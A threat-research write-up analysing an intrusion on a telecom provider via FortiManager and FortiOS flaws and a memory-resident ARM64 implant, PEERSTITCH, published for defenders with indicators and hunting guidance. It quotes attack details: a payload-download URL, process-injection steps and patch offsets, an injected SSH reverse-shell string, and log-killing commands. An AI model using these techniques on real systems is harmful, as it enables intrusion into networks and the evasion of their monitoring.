[![Logo](https://www.paloaltonetworks.com/wp-content/uploads/2021/07/PANW_Parent.png)](https://www.paloaltonetworks.com/)  
[![Unit42 Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/unit42-logo-white.svg)](https://unit42.paloaltonetworks.com/)  
Menu

* [Tools](https://unit42.paloaltonetworks.com/tools/)
* [ATOMs](https://unit42.paloaltonetworks.com/atoms/)
* [Security Consulting](https://www.paloaltonetworks.com/unit42)
* [About Us](https://unit42.paloaltonetworks.com/about-unit-42/)
* [**Under Attack?**](https://start.paloaltonetworks.com/contact-unit42.html)
* [Threat Research Center](https://unit42.paloaltonetworks.com "Threat Research")
* [Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/ "Threat Research")
* [Malware](https://unit42.paloaltonetworks.com/category/malware/ "Malware")  
  [Malware](https://unit42.paloaltonetworks.com/category/malware/)

# Unit 42 Uncovers PEERSTITCH, a Stealthy FortiGate Implant

![Clock Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-clock.svg) 14 min read  
Related Products  
[![Advanced DNS Security icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Advanced DNS Security](https://unit42.paloaltonetworks.com/product-category/advanced-dns-security/ "Advanced DNS Security")[![Advanced IP Defense icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/07/strata_RGB_logo_Icon_Color.png)Advanced IP Defense](https://unit42.paloaltonetworks.com/product-category/advanced-ip-defense/ "Advanced IP Defense")[![Advanced Threat Prevention icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Advanced Threat Prevention](https://unit42.paloaltonetworks.com/product-category/advanced-threat-prevention/ "Advanced Threat Prevention")[![Advanced URL Filtering icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Advanced URL Filtering](https://unit42.paloaltonetworks.com/product-category/advanced-url-filtering/ "Advanced URL Filtering")[![Advanced WildFire icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Advanced WildFire](https://unit42.paloaltonetworks.com/product-category/advanced-wildfire/ "Advanced WildFire")[![Cloud-Delivered Security Services icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Cloud-Delivered Security Services](https://unit42.paloaltonetworks.com/product-category/cloud-delivered-security-services/ "Cloud-Delivered Security Services")[![Cortex icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/cortex_RGB_logo_Icon_Color.png)Cortex](https://unit42.paloaltonetworks.com/product-category/cortex/ "Cortex")[![Cortex Xpanse icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/cortex_RGB_logo_Icon_Color.png)Cortex Xpanse](https://unit42.paloaltonetworks.com/product-category/cortex-xpanse/ "Cortex Xpanse")[![IoT Security icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)IoT Security](https://unit42.paloaltonetworks.com/product-category/iot-security/ "IoT Security")[![Next-Generation Firewall icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Next-Generation Firewall](https://unit42.paloaltonetworks.com/product-category/next-generation-firewall/ "Next-Generation Firewall")[![Unit 42 Incident Response icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/unit42_RGB_logo_Icon_Color.png)Unit 42 Incident Response](https://unit42.paloaltonetworks.com/product-category/unit-42-incident-response/ "Unit 42 Incident Response")

* ![Profile Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-profile-grey.svg)  
  By:
  
  * [Daniel Gott](https://unit42.paloaltonetworks.com/author/daniel-gott/)
  * [Shawn Westfall](https://unit42.paloaltonetworks.com/author/shawn-westfall/)

* ![Published Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-calendar-grey.svg)  
  Published:October 14, 2026

* ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-category.svg)  
  Categories:
  
  * [Malware](https://unit42.paloaltonetworks.com/category/malware/)
  * [Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/)

* ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-tags-grey.svg)  
  Tags:
  
  * [Apache](https://unit42.paloaltonetworks.com/tag/apache/)
  * [CL-STA-0954](https://unit42.paloaltonetworks.com/tag/cl-sta-0954/)
  * [Logging](https://unit42.paloaltonetworks.com/tag/logging/)
  * [Network intrusion](https://unit42.paloaltonetworks.com/tag/network-intrusion/)
  * [Network Sniffer](https://unit42.paloaltonetworks.com/tag/network-sniffer/)
  * [Payload](https://unit42.paloaltonetworks.com/tag/payload/)
  * [Reverse shells](https://unit42.paloaltonetworks.com/tag/reverse-shells/)
  * [VPN](https://unit42.paloaltonetworks.com/tag/vpn/)

* [![Download Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-download.svg)](https://unit42.paloaltonetworks.com/fortimanager-cve-2024-47575-peerstitch-malware/?pdf=download&lg=en&_wpnonce=e05d032cbe "Click here to download")

* [![Print Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-print.svg)](https://unit42.paloaltonetworks.com/fortimanager-cve-2024-47575-peerstitch-malware/?pdf=print&lg=en&_wpnonce=e05d032cbe "Click here to print")

Share![Down arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/down-arrow.svg)

* ![Link Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-share-link.svg)
* [![Link Email](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-sms.svg)](mailto:?subject=Unit%2042%20Uncovers%20PEERSTITCH,%20a%20Stealthy%20FortiGate%20Implant&body=Check%20out%20this%20article%20https%3A%2F%2Funit42.paloaltonetworks.com%2Ffortimanager-cve-2024-47575-peerstitch-malware%2F "Share in email")
* [![Facebook Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-fb-share.svg)](https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Funit42.paloaltonetworks.com%2Ffortimanager-cve-2024-47575-peerstitch-malware%2F "Share in Facebook")
* [![LinkedIn Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-linkedin-share.svg)](https://www.linkedin.com/sharing/share-offsite/?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Ffortimanager-cve-2024-47575-peerstitch-malware%2F&title=Unit%2042%20Uncovers%20PEERSTITCH,%20a%20Stealthy%20FortiGate%20Implant "Share in LinkedIn")
* [![Twitter Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-twitter-share.svg)](https://twitter.com/intent/tweet?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Ffortimanager-cve-2024-47575-peerstitch-malware%2F&text=Unit%2042%20Uncovers%20PEERSTITCH,%20a%20Stealthy%20FortiGate%20Implant "Share in Twitter")
* [![Reddit Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-reddit-share.svg)](https://www.paloaltonetworks.com//www.reddit.com/submit?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Ffortimanager-cve-2024-47575-peerstitch-malware%2F&ts=markdown "Share in Reddit")
* [![Mastodon Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-mastodon-share.svg)](https://mastodon.social/share?text=Unit%2042%20Uncovers%20PEERSTITCH,%20a%20Stealthy%20FortiGate%20Implant%20https%3A%2F%2Funit42.paloaltonetworks.com%2Ffortimanager-cve-2024-47575-peerstitch-malware%2F "Share in Mastodon")

## Executive Summary

Unit 42 investigated a multi-stage network intrusion against a telecommunications organization that occurred in September 2024, which we are tracking as cluster CL-STA-0954 (aka UNC5820). The attackers behind CL-STA-0954 achieved an initial compromise by exploiting [CVE-2024-47575](https://www.cve.org/CVERecord?id=CVE-2024-47575) against a centralized FortiManager appliance.

From that single appliance, our observations are that the attackers exfiltrated an archive containing running configurations, cryptographic material and database files containing information about more than 500 managed FortiGate firewalls. Those firewalls protected the target's own infrastructure and the networks of its clients.

Following the initial compromise, the attackers behind CL-STA-0954 demonstrated a complex level of tradecraft. Aspects of the post-exploitation activity overlap with intrusions attributed to suspected nation-state actors. Armed with the stolen information, the attackers:

* Maintained long-term access
* Intercepted network traffic
* Established VPN sessions
* Deployed backdoors
* Exploited a separate privilege-escalation vulnerability

The attackers exploited another vulnerability, [CVE-2025-61624](https://nvd.nist.gov/vuln/detail/cve-2025-61624), via FortiOS auto-script path traversal. This exploit facilitated the deployment of PEERSTITCH, a novel, memory-resident ARM64 malware.

PEERSTITCH leaves no persistent binary on disk, opens no listening ports and initiates no outbound network connections. Instead, it communicates through traffic generated by legitimate processes on the infected host, which makes the malware resistant to conventional endpoint and network detection.

The attackers also impersonated the FortiManager platform to pull from managed firewalls of other hosts in the targeted network.

Palo Alto Networks customers are better protected from this activity through the following products and services:

* [Advanced WildFire](https://docs.paloaltonetworks.com/wildfire)
* [Advanced URL Filtering](https://docs.paloaltonetworks.com/advanced-url-filtering), [Advanced DNS Security](https://docs.paloaltonetworks.com/dns-security) and [Advanced IP Defense](https://www.paloaltonetworks.com/network-security/advanced-ip-defense)
* [Next-Generation Firewall](https://docs.paloaltonetworks.com/ngfw) with the [Advanced Threat Prevention](https://docs.paloaltonetworks.com/advanced-threat-prevention/administration)
* [Cortex Xpanse](https://docs-cortex.paloaltonetworks.com/p/XPANSE)
* [Device Security](https://docs.paloaltonetworks.com/iot/getting-started/iot-security-solution)

If you think you might have been compromised or have an urgent matter, contact the [Unit 42 Incident Response team.](https://www.paloaltonetworks.com/unit42/contact-unit42)

|----------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| **Related Unit 42 Topics** | **[Vulnerability](https://unit42.paloaltonetworks.com/tag/vulnerability/), [Privilege Escalation](https://unit42.paloaltonetworks.com/tag/privilege-escalation/), [Linux](https://unit42.paloaltonetworks.com/tag/linux/)** |

## Overview of the Intrusion

We investigated a prolonged network intrusion against a telecommunications managed service provider. The attackers demonstrated proficiency in Fortinet appliance architecture, FortiOS internals and FortiOS management protocols.

Our investigation spanned the provider's own environment. We did not examine the client networks whose firewalls the provider managed. The exposure described in this report is of configuration and credential material rather than confirmed intrusion into those networks. Figure 1 below shows a flowchart illustrating an overview of the intrusion.
![A flowchart illustrating an overview of the intrusion with color-coded sections and arrows indicating the sequence of actions.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/10/Updated-2952-Figure-1-1-scaled.png) Figure 1. Overview of the intrusion.

## Initial Access and Network Configuration Theft (CVE-2024-47575)

During the initial phase of the intrusion, the attackers exploited [CVE-2024-47575](https://www.fortiguard.com/psirt/FG-IR-24-423) (referred to by external parties as FortiJump). The vulnerability allows an unauthenticated remote attacker to execute arbitrary commands via crafted requests to the FMG-Access (TCP port 541) management channel.

During the exploitation, the attackers registered a rogue Virtual FortiGate appliance named localhost (serial number FMG-VMTM23017412) to the central FortiManager instance, originating from external attacker infrastructure (45.32.41\[.\]202, later modified to 198.199.122\[.\]22).

Immediately following device registration, the attacker generated a configuration archive named .tm in the FortiManager file system, which they exfiltrated shortly thereafter. Analysis of this artifact revealed:

* The FortiManager appliance's own serial number and its management relationships to every enrolled device
* Complete running configuration files for more than 500 managed FortiGate firewalls across internal infrastructure and client networks
* Central management SQLite databases: global.db (containing administrative domains, global objects and policy packages) and revinfo.db (containing device revision metadata)
* A flat text inventory listing more than 500 FortiGate serial numbers alongside their respective public IP addresses
* Internal network topology maps, routing tables and interface configurations
* Ciphertext administrative, local and SSL/VPN credentials
* Encoded cryptographic trust material, including public certificates and private keys

## Reconnaissance and Targeted Traffic Sniffing

Following an extended dwell period, the attackers pivoted to active network reconnaissance. They used the compromised FortiManager device to push unauthorized sniffer configurations to multiple downstream managed FortiGate firewalls.

The packet captures targeted unencrypted HTTP traffic and 11 specific services over different TCP ports to intercept sensitive communications and map network perimeters. Table 1 below shows the characteristics of these services.

|----------|-------------------------|-----------------------------|-----------------------------------|
| **Port** | **Service Identifier**  | **Target Protocol Purpose** | **Assessed Intent**               |
| 3696     | Telnet Com Port Control | Remote administration       | Cleartext credential interception |
| 3697     | nw-license              | License management          | Internal communications capture   |
| 3698     | Sagectlpanel            | Control panel               | Cleartext credential interception |
| 3699     | kpn-icw                 | Telecom service             | Internal communications capture   |
| 3700     | lrs-paging              | Paging and telemetry        | Internal communications capture   |
| 3701     | netcelera               | Network acceleration        | Internal network topology mapping |
| 3702     | ws-discovery            | Web services discovery      | Active host discovery             |
| 3703     | adobeserver-3           | Application backend         | Internal service telemetry        |
| 3704     | adobeserver-4           | Application backend         | Internal service telemetry        |
| 3705     | adobeserver-5           | Application backend         | Internal service telemetry        |
| 3706     | rt-event                | Real-time events            | Event stream monitoring           |

Table 1. Services the attackers used to intercept sensitive communications and map network perimeters.

In a subsequent phase of reconnaissance, attackers deployed additional packet-capture rules to core perimeter firewalls targeting:

* **UDP port 69 (TFTP):** File, communications, firmware and configuration capture
* **UDP ports 1812 and 1813 (RADIUS and RADIUS-Accounting):** Network authentication sniffing
* **TCP port 389 (LDAP):** Active Directory query interception and directory enumeration

## Credential Decryption and Initial Re-Entry

The exfiltrated FortiGate configurations contained sensitive credentials stored as reversible ciphertext. We confirmed that the credentials were recoverable by successfully brute-forcing administrative and SSL/VPN passwords from the exfiltrated configuration files.

Using legitimate credentials, the attackers established unauthorized FortiGate SSL/VPN sessions to perimeter firewalls from known external staging infrastructure (23.240.77\[.\]233 and 47.18.167\[.\]159). These sessions granted the attackers authenticated access into internal network-management segments.

## Privilege Escalation: CVE-2025-61624

During the intrusion, the attackers exploited [CVE-2025-61624](https://fortiguard.fortinet.com/psirt/FG-IR-26-122) to escalate from FortiOS administrative access to root on the underlying firewall operating system. A FortiOS administrator, including a super\_admin, operates within a restricted management command line with no shell access and no direct control over the appliance file system or its running processes. The daemons that implement FortiOS run as root beneath that interface.

The vulnerability allows an authenticated administrative account to read and write arbitrary files as root via path traversal in the FortiOS CLI system.auto-script engine. The auto-script object name is not sanitized, allowing a name containing traversal sequences to place the script body outside the intended directory, at any file system location. The script executes with the privileges of the auto-script engine.

The sanitized event below highlights the creation of the traversal object ../../../../setup used to drop the PEERSTITCH initial-stage loader shown below in Figure 2.
![Screenshot of a code snippet showing a script for downloading and executing a package using Node.js. It involves child process and file system modules for HTTP requests and file handling.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/10/word-image-136822-188095-2.png) Figure 2. Fortinet log capturing exploitation of CVE-2025-61624 to run the PEERSTITCH loader.

## Technical Analysis of the PEERSTITCH Implant

PEERSTITCH is a 64-bit Linux ARM64 executable written in C and statically linked against glibc. It acts as a one-shot process memory patching injector targeting two core FortiOS daemons:

* /bin/miglogd: The central system and traffic logging daemon
* /bin/iked: The IKE/IPsec VPN service daemon handling cryptographic negotiation

![A flowchart illustrating a six-step process in PEERSTITCH activity.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/10/word-image-140217-188095-3-567x440.png) Figure 3. Flowchart of PEERSTITCH activity.

Figure 3 shows a flow chart of PEERSTITCH activity, which we will examine in greater detail.

### Delivery and Staging Chain

**1). Downloader initialization:** Exploiting CVE-2025-61624, the attackers pushed ../../../../setup to a select number of firewalls

**2). Payload retrieval:** The script downloaded five files from hxxp\[:\]//23.240.77\[.\]233:8085/ into /data2/template/:

* pM.js: Environment preparation script (self-deleting)
* a.js (saved as index.js): Emscripten JavaScript runtime module
* a.wasm (saved as index.wasm): Compiled WebAssembly binary module
* b.js (saved as ipssem.js): Deployment orchestrator script
* dd (saved as lldprx): Native ARM64 ELF binary injector (PEERSTITCH core)

**3). Execution:** Following an execution delay, ipssem.js launched lldprx with arguments lldprx!index.js!index.wasm!ipssem.js!lldprx!yyyy!pM.js

### Injector Execution and Process Parasitization

The lldprx binary performs a single-pass execution sequence:

1. **Process discovery:** Iterates through /proc/, parses /proc/\<pid\>/cmdline and locates the process identifiers (PIDs) for /bin/miglogd and /bin/iked
2. **Memory layout enumeration:** Reads /proc/\<pid\>/maps to extract the base addresses and memory boundaries of both target daemons
3. **Process attachment:** Attaches to both running processes using ptrace(PTRACE\_SEIZE, pid) and halts execution via PTRACE\_INTERRUPT
4. **Register state capture:** Calls ptrace(PTRACE\_GETREGSET, pid) to snapshot all ARM64 general-purpose registers (X0 through X30), the stack pointer (SP) and program counter (PC)
5. **Dynamic shellcode construction:** Generates an ARM64 bootstrap stub dynamically. The bootstrap executes an mmap syscall (X8 = 0xDE) requesting 0x4000 (16,384 bytes) of PROT\_READ | PROT\_WRITE | PROT\_EXEC (RWX) memory mapped as MAP\_PRIVATE | MAP\_ANONYMOUS
6. **Payload injection:** Writes a 1,344-byte injection payload into the newly allocated RWX buffer via /proc/\<pid\>/mem

### **C**overt IPC and Cross-Daemon Memory Sharing

Instead of using network sockets or disk files, PEERSTITCH creates a covert, memory-resident communication bridge between /bin/miglogd and /bin/iked.

Figure 4 shows a flowchart for PEERSTITCH network traffic.
![A diagram showing network traffic flow through FortiGate Firewall. It features two processes: "iked" for VPN service handling normal VPN protocols and "miglogd" for logging service handling normal log protocols. Both have injected hooks with functions for passive scanning, tag matching, and specific actions for certain tags, followed by resuming their respective services.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/10/word-image-142664-188095-4.png) Figure 4. Flowchart for PEERSTITCH network traffic.

* **Passive traffic monitoring:** Inside both daemons, the hook code inspects data already passing through the process without redirecting packets. It evaluates string patterns using strstr() for two specific markers:
  * **TCP port marker:** 8550 (embedded within traffic data, not a listening port)
  * **IP address marker:** 169.254.0.1 (link-local identifier used for pattern matching)
* **Tag extraction and buffering:** When a marker is identified, the hook extracts an associated session token or identifier (up to 31 bytes) and writes it into a 16-slot circular ring buffer at offset +0x0F0
* **Cross-process write:** The hook iterates through its forwarding table at offset +0x400 (populated with the counterpart daemon's PID and buffer base address). It invokes open(), lseek() and write() on /proc/\<counterpart\_pid\>/mem, writing the extracted tag directly into the other daemon's memory.
* **Conditional execution branching:** When /bin/iked processes subsequent VPN sessions, its hook inspects its injection buffer. If a corresponding tag exists, the hook takes an alternate return branch (ADRP return path), bypassing default FortiOS security validations.

### Memory Patching and Branch Path Modification

To suppress tamper detection and alter default daemon routines, PEERSTITCH applies direct NOP patches (0xAA0003E0, corresponding to MOV X0, X0 on ARM64) to three static offsets within target process memory:

* base + 0x106F7B8
* base + 0x1072E20
* base + 0x109A570

A 20-byte trampoline patch is written to base + 0x135102C to redirect standard execution into the allocated RWX hook buffer. Figure 5 shows a visual memory layout of the 16 KB buffer used by the ARM64 PEERSTITCH payload.
![A diagram titled "PEERSTITCH 16KB Buffer Memory Map" depicting a flowchart with three columns, each listing memory address ranges and their corresponding data types.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/10/word-image-145120-188095-5.png) Figure 5. A visual memory layout of the 16 KB buffer utilized by the ARM64 PEERSTITCH payload.

### **Apache mod\_md ACME Reverse Shell Command and Control**

Alongside PEERSTITCH, the attackers established a command and control channel by weaponizing the native Apache mod\_md (Managing Domains) module on FortiGate firewalls. This module uses the Automated Certificate Management Environment ([ACME](https://www.paloaltonetworks.com/cyberpedia/what-is-acme-protocol)) protocol.

The attackers pushed an auto-script object to create ../../tmp/apache2/conf/md-acme.conf, as shown below in Figure 6.
![Screenshot of a configuration script written in a command-line environment. The script appears to involve Apache server settings, with commands related to modules and certificates. Some content, such as an IP address, is redacted for privacy.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/10/word-image-147478-188095-6.png) Figure 6. Fortinet log capturing exploitation of CVE-2025-61624 to run md-acme.conf.

### Weaponization Mechanics

**1). Rogue certificate authority initialization:** The account.json state file demonstrates the initial registration with the attacker's [ACME server](https://www.paloaltonetworks.com/cyberpedia/what-is-acme-protocol), explicitly routing ACME directory requests to external infrastructure
![Screenshot of a JSON data structure related to user account and status information. It includes details like "status," "contact," "registration," and URLs with an IP address.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/10/word-image-150637-188095-7.png) Figure 7. Rouge ACME configuration file account.json.

**2). Challenge orchestration:** The order.json file outlines the pending certificate order, mapping the authorization and finalization URLs directly to the attacker's server
![Screenshot of a JSON code snippet showing an order status as "pending" with URLs for authorizations and finalization.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/10/word-image-152805-188095-8.png) Figure 8. Rouge ACME configuration file order.json.

**3). Command execution via DNS-01 challenge:** MDChallengeDns01 was mapped directly to /bin/node. When Apache initiates a certificate validation challenge, it executes Node.js with parameters retrieved from the remote ACME server. The job.json debug log reveals how the attackers exploited this by injecting shell commands (kali@23.240.77\[.\]233:8084:b -F /tmp/upfile/ssh\_config -i) directly into the domain name field of the challenge request, initiating an SSH-based reverse shell.
![Screenshot of a JSON error message. The message includes details about a domain with a status code of 20014, indicating an internal error. It advises checking the log for errors related to a domain configuration in a specific file path.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/10/word-image-154759-188095-9.png) Figure 9. Rouge ACME debug logs.

**4). Continuous polling loop:** Setting MDRenewMode always forced the Apache daemon to continuously trigger these malicious renewal challenges. Because the DNS-01 challenge was mapped to /bin/node, this polling cycle ensured the continuous re-execution of the injected payload, establishing a persistent outbound reverse-shell communication channel.

## Management Impersonation and FortiGate to FortiManager Chained Exploitation

[FortiGate to FortiManager (FGFM)](https://docs.fortinet.com/document/fortigate/6.4.0/ports-and-protocols/373486/fgfm-fortigate-to-fortimanager-protocol) communications occur over TCP port 541 using cryptographic trust material requested and validated against appliance serial numbers. The archive exfiltrated during the initial FortiJump compromise contained this material, along with the serial numbers and management relationships of every downstream device.

Following FGFM interactions from external infrastructure over TCP port 541, an administrative account named FortiGateCloud downloaded complete running configurations from multiple managed firewalls. The victim organization operated no FortiManager Cloud tenant, and no such account was provisioned on the affected devices.

We assess with a medium degree of confidence that the attackers issued these commands by impersonating the management platform over FGFM. Two paths were available to them, and the evidence does not distinguish between them:

* Exploitation of [CVE-2024-26009](https://www.fortiguard.com/psirt/FG-IR-24-042) to bypass FGFM authentication using the FortiManager's serial number
* Direct reuse of the exfiltrated trust material to authenticate as the legitimate FortiManager

Asserting a management identity requires terminating the authentic FortiManager's session. It is possible that the attackers forced this session termination using [CVE-2024-26008](https://www.fortiguard.com/psirt/FG-IR-24-041), consistent with the intermittent tunnel management interface drops described in the Anti-Forensics and Defense Evasion section below.

We are aware of other vulnerabilities in which the FortiGateCloud account has been misused to perform unauthorized actions, including:

* [CVE-2025-59718](https://www.fortiguard.com/psirt/FG-IR-25-647)
* [CVE-2025-59719](https://www.fortiguard.com/psirt/FG-IR-25-647)
* The related single sign-on (SSO) issues tracked under [FG-IR-26-060](https://www.fortiguard.com/psirt/FG-IR-26-060)

Each of these vulnerabilities requires the device to be enrolled in FortiGate Cloud/FortiCloud SSO, and the affected firewalls held no such enrollment. We exclude these vulnerabilities from scope for this intrusion. We note that the observed activity reused only the account name and none of the exploitation artifacts associated with those issues.

## Anti-Forensics and Defense Evasion

The attackers took extensive measures to eliminate forensic artifacts:

* **Service termination:** Executed killall -9 miglogd and killall -9 syslogd to halt local and remote syslog generation prior to executing malicious auto-scripts
* **Crash log clearing:** Issued FortiOS diagnostic command diagnose debug crashlog clear to wipe segmentation fault logs generated during initial memory injection attempts
* **Configuration rollback:** Automatically deleted rogue administrator accounts, rogue VPN groups and auto-script objects (../../../../setup) shortly after execution
* **Decoy artifact creation:** Overwrote /tmp/apache2/conf/md-acme.conf with a common string found in this file (#0 certs managed by ACME\\n\\n\\n) to mask reverse-shell configuration files
* **Process memory self-deletion:** lldprx unlinked its own binary from disk and scanned /proc/ to terminate the staging setup process before exiting
* **Logging telemetry disruption:** Log telemetry showed intermittent drops across the tunnel management interface during periods of malicious activity. We assess with medium confidence that the attackers deliberately induced this degradation to suppress real-time telemetry to central management consoles. This is consistent with the previously described pattern of telemetry suppression, including terminating miglogd and syslogd, clearing crash logs, and rolling back configuration objects. It's possible that the attackers forced the disconnects using [CVE-2024-26008](https://www.fortiguard.com/psirt/FG-IR-24-041) over TCP port 541. Available logs do not capture the triggered traffic, so we could not confirm the mechanism.

## Detection Opportunities and Forensic Guidance

Because PEERSTITCH runs entirely in memory without creating persistent files or listening ports, detection requires specialized hunting techniques that Table 2 below documents.

|-----------------------|-------------------------------|--------------------------------------------------------------------------------------------------------------------------------|
| **Detection Surface** | **Artifact/Indicator**        | **Technical Hunting Guidance**                                                                                                 |
| Volatile memory       | 16 KB RWX mmap region         | Inspect memory maps (/proc/\<pid\>/maps) of /bin/miglogd and /bin/iked for anonymous 16,384-byte regions with rwxp permissions |
| Daemon integrity      | NOP text patches              | Verify text segment integrity at base+0x106F7B8, base+0x1072E20 and base+0x109A570 for 0xAA0003E0 (MOV X0, X0)                 |
| System calls          | Cross-PID /proc/mem access    | Audit kernel syscall telemetry for open() and write() operations targeting /proc/\<pid\>/mem between miglogd and iked          |
| Diagnostic logs       | Crashlog segmentation faults  | Query diagnose debug crashlog read for Signal 11 (Segmentation Fault) crashes involving miglogd, iked or syslogd               |
| Configuration audit   | Auto-script traversal objects | Inspect FortiOS configuration revisions for system.auto-script objects containing path traversal strings (../../)              |

Table 2. PEERSTITCH's specialized hunting techniques.

## Conclusion

This intrusion highlights a growing threat, the weaponization of centralized edge management ecosystems to compromise downstream networks. One compromised appliance yielded the cryptographic keys, credentials and network topology for more than 500 firewalls, including devices protecting client organizations.

The discovery of the PEERSTITCH implant demonstrates the increasing technical maturity of edge-device malware. By operating as a one-shot injector, avoiding persistent disk artifacts and building a covert inter-process communication bridge inside process memory, the attackers achieved sustained persistence while evading traditional monitoring.

For organizations that manage infrastructure on behalf of others, the management platform is the highest-value target on the network. Compromising the management platform is not contained by the boundary of the organization that owns it. That compromise also does not end when the platform is patched.

The cryptographic trust material governing the platform's relationship with every managed device leaves with the attacker and remains valid until it is rotated. Defenders must treat edge management interfaces with the highest level of zero trust isolation. They must also treat the credentials and certificates those interfaces hold as compromised the moment the platform is.

Palo Alto Networks customers are better protected from the threats discussed above through the following products and services:

* The [Advanced WildFire](https://docs.paloaltonetworks.com/wildfire) machine-learning models and analysis techniques have been reviewed and updated in light of the indicators shared in this research.
* [Advanced URL Filtering](https://docs.paloaltonetworks.com/advanced-url-filtering), [Advanced DNS Security](https://docs.paloaltonetworks.com/dns-security) and [Advanced IP Defense](https://www.paloaltonetworks.com/network-security/advanced-ip-defense) are designed to identify known domains and URLs associated with this activity as malicious.
* [Next-Generation Firewall](https://docs.paloaltonetworks.com/ngfw) with the [Advanced Threat Prevention](https://docs.paloaltonetworks.com/advanced-threat-prevention/administration) security subscription can help block CVE-2024-47575 with best practices via the following Threat Prevention signatures [95788](https://threatvault.paloaltonetworks.com/?query=95788), [96788](https://threatvault.paloaltonetworks.com/?query=96788).
* [Cortex Xpanse](https://docs-cortex.paloaltonetworks.com/p/XPANSE) is designed to identify exposed devices and applications on the public internet and escalate these findings to defenders.
* [Device Security](https://docs.paloaltonetworks.com/iot/getting-started/iot-security-solution) is designed to proactively protect the specialized device attack surface of operational environments, providing deep visibility into industrial protocols, actionable risk insights, and adaptive security enforcement across all OT and IoT assets.

If you think you may have been compromised or have an urgent matter, get in touch with the [Unit 42 Incident Response team](https://www.paloaltonetworks.com/unit42/contact-unit42) or call:

* North America Toll Free: +1 (866) 486-4842 (866.4.UNIT42)
* UK: +44.20.3743.3660
* Europe and Middle East: +31.20.299.3130
* Asia: +65.6983.8730
* Japan: +81.50.1790.0200
* Australia: +61.2.4062.7950
* India: 000 800 050 45107
* South Korea: +82.080.467.8774

Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. [Learn more about the Cyber Threat Alliance.](https://www.cyberthreatalliance.org/)

## Indicators of Compromise

Table 3 lists the filenames and SHA-256 hashes associated with PEERSTITCH activity.

|-------------------|------------------------------------------------------------------|----------------------------------------------------------------------------|
| **Type**          | **Value**                                                        | **Context**                                                                |
| SHA-256 hash      | b9fb0b27ddd59b58d3ae53c7227298a3e0de1e6f868b9429ae21533bb9cd1e70 | ELF 64-bit ARM64 executable; PEERSTITCH core ptrace injector               |
| SHA-256 hash      | 829b1cd270b30565739a478441833f49f10a49bd06f0d18cc96c8ae4a0431f11 | PEERSTITCH ARM64 mmap shellcode bootstrap header (45 bytes)                |
| SHA-256 hash      | bd064244dad748cf2a44074bee56f5bfab4a2b18ee944b75d1b3febd4c1fe02a | PEERSTITCH ARM64 core hook injection data block (1,280 bytes)              |
| SHA-256 hash      | 9c4c4436ff5cdf0d6d68f5108031cbf3708a095cde4ef8c09316af7a7110437e | PEERSTITCH staging and preparation script                                  |
| SHA-256 hash      | fc1b10c58057ef9f1f9a1e2a3d4a1c89f43b0ead451398c70ed7a6e0312b36ee | PEERSTITCH Node.js deployment orchestrator                                 |
| SHA-256 hash      | f84eea718526706afdf2d1a2774fab76ecb11c18fb61995a37be8249c5e379ab | PEERSTITCH emscripten JavaScript runtime component                         |
| SHA-256 hash      | b7ae166fd49a7ecfe6322a80b8aa56d6aa0825d8f5d106dab2e4fb7d14ce15a8 | PEERSTITCH emscripten WebAssembly binary module                            |
